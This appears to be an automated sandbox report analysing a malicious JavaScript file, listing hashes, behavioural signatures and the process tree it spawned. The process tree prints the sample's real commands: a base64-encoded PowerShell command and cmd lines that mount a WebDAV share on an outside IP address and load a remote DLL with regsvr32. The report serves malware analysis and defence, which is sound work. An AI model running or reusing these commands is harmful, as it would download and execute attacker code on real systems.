Analysis
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max time kernel
150s -
max time network
273s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
14-11-2024 02:01
Static task
static1
Behavioral task
behavioral1
Sample
17481323262171426069.js
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
17481323262171426069.js
Resource
win10v2004-20241007-en
General
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Target
17481323262171426069.js
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Size
1.4MB
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MD5
efe76939bd74fd51b7c0a2f736d07904
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SHA1
e61ec5426def2b69c1fb953c982cfbde8b196cf5
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SHA256
8dc5c525c854fa1f7a70c8c996290c8af71b5609279d30d53dcec1984fbd4703
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SHA512
e7527ae59501b7a09f6fa5538ffc0a013fb95d85f83705739ab28887b96d55ab60cda2307afd75cd674d83bc92561c141dc69fdb4514f3d67443d8d972907876
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SSDEEP
12288:2tSyK/Pok2/p6tnjLo2jLdZ0tr0KXuXTPh03z9pVn1zEPu:GQ/Pok2/p6tnjLo2jLd2WKNpjiu
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation wscript.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid Process 1976 timeout.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 2168 powershell.exe 2168 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 2168 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
wscript.exepowershell.execmd.execmd.exedescription pid Process procid_target PID 4708 wrote to memory of 2168 4708 wscript.exe 83 PID 4708 wrote to memory of 2168 4708 wscript.exe 83 PID 2168 wrote to memory of 1976 2168 powershell.exe 85 PID 2168 wrote to memory of 1976 2168 powershell.exe 85 PID 2168 wrote to memory of 4536 2168 powershell.exe 87 PID 2168 wrote to memory of 4536 2168 powershell.exe 87 PID 4536 wrote to memory of 4848 4536 cmd.exe 88 PID 4536 wrote to memory of 4848 4536 cmd.exe 88 PID 2168 wrote to memory of 5076 2168 powershell.exe 90 PID 2168 wrote to memory of 5076 2168 powershell.exe 90 PID 5076 wrote to memory of 5068 5076 cmd.exe 91 PID 5076 wrote to memory of 5068 5076 cmd.exe 91
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\17481323262171426069.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4708 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA4ADYAMgA2ADEAMgA3ADQANAAxADMANQAxADMALgBkAGwAbAA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\system32\timeout.exe"C:\Windows\system32\timeout.exe" 13⤵
- Delays execution with timeout.exe
PID:1976
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\3⤵
- Suspicious use of WriteProcessMemory
PID:4536 -
C:\Windows\system32\net.exenet use \\94.159.113.79@8888\davwwwroot\4⤵PID:4848
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\86261274413513.dll3⤵
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Windows\system32\regsvr32.exeregsvr32 /s \\94.159.113.79@8888\davwwwroot\86261274413513.dll4⤵PID:5068
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82